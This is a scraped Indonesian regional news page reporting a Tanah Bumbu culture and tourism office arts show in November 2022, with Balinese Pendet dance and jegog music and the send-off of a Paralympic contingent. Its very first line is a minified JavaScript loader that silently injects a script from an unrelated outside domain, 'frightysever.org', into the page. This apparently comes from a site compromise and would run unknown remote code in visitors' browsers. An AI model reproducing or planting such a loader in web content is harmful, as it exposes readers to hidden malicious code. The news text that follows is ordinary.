(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Dinas Kebudayaan Pemuda Olahraga dan Pariwisata (Disbudporpar) Kabupaten Tanah Bumbu gelar pentas seni di halaman Kantor Disbudporpar Tanbu, Jumat (18/11/2022). Kegiatan ini sekaligus melepas kontingen Pekan Paralimpik Provinsi (Peparprov) Kalimantan Selatan.
Kepala Disbudporpar Tanbu, Hamaluddin Tahir menyampaikan, kegiatan sebagai langkah awal lebih sering menampilkan kesenian dan kebudayaan daerah.
Menurut Hamaluddin, sebagai daerah yang dihuni dengan beragam etnis, Tanah Bumbu mempunyai potensi yang besar dalam hal kesenian dan kebudayaan.
“Oleh sebab itu, hari ini kita mengundang teman-teman Bali yakni Seni Satya Dharma Santi Pekraman dari Desa Sumber Makmur Kecamatan Satui untuk menampilkan dan memperkenalkan budaya yang ada di desanya,” ujar Hamaluddin.
Baca juga : BPBD Banjarmasin: Sebab Runtuhnya Pasar Baimbai karena Material Alami Pelapukan
Dengan kostum serta peralatan musik bernuansa Bali, kelompok seni ini menampilkan beragam penampilan kesenian khas Pulau Dewata.
Salah satunya Tari Pendet yang ditampilkan sebelum melepas paralimpian kontingen Kabupaten Tanah Bumbu pada perhelatan Peparprov IV Kalimantan Selatan 2022 di Kabupaten Hulu Sungai Selatan (HSS).
Ia juga menjelaskan, nantinya di setiap malam minggu Disbudporpar Tanbu akan menggandeng kelompok seni untuk tampil di beberapa tempat untuk memberikan hiburaan sekaligus pengetahuan kebudayaan kepada masyarakat luas.
Untuk penampilan di depan Kantor Disbudporpar, pihaknya berharap kegiatan dapat diadakan setiap bulannya sehingga para pelaku seni di Tanah Bumbu dapat memperkenalkan kebudayaannya baik alat musiknya, hingga tariannya.
Baca juga : Disnakertrans BLK Tanbu Buka Pelatihan Meubel bagi WBP Kelas III Batulicin
“Kami berharap kebudayaan di Tanah Bumbu dapat semakin maju sekaligus keberagaman etnis dan budaya ini dapat selalu terjaga dengan damai dibawah bingkai Bumi Bersujud,” harap Hamaluddin.
I Nengah Mantra, Ketua Seni Satya Dharma Santi Pekraman menyampaikan, guna melestarikan kebudayaan yang di desanya, kelompok seni ini mengadakan latihan setiap 14 hari sekali yang diikuti sebanyak 21 anggota.
“Harapannya kami dari Seni Satya Dharma Santi Pekraman juga dapat dinaungi dan diwadahi oleh Disbudporpar, serta asosiasi terkait dengan terdaftar, sehingga jika ada suatu permasalahan kita dapat melaporkan,” ujarnya.
Sementara itu Ketua Adat Desa Sumber Baru, Wayan Derta menjelaskan terkait dengan jegog, bentuk musik gamelan atau kesenian yang berpusat di Jembrana, sebuah wilayah di Bali Barat.
Baca juga : Ibnu Sina Resmikan Jembatan Apung Pertama di Kota Banjarmasin
Dikatakan Wayan, kesenian ini biasa ditampilkan saat kegiatan perayaan ketika musim panen padi, namun saat ini kesenian ini sering ditampilkan untuk menghibur masyarakat.
“Tetap lestarikan seluruh kesenian dan kebudayaan dari Indonesia baik dari Bali, Bugis, Sunda, Jawa dan lainnya. Semoga semuanya bisa terbina dengan baik oleh Disbudporpar Tanbu,” kata Wayan. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Suasana hangat tampak saat Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 14 orang calon Panitia Pengawas Kecamatan (Panwascam) di Kota Banjarbaru Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Meski suasana gelap di malam hari tak menjadi penghalang anggota Satgas TNI… Read More
Kabid Tibum: Bangunan Lainnya Kita Tunggu Proses Selanjutnya Read More
KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
This website uses cookies.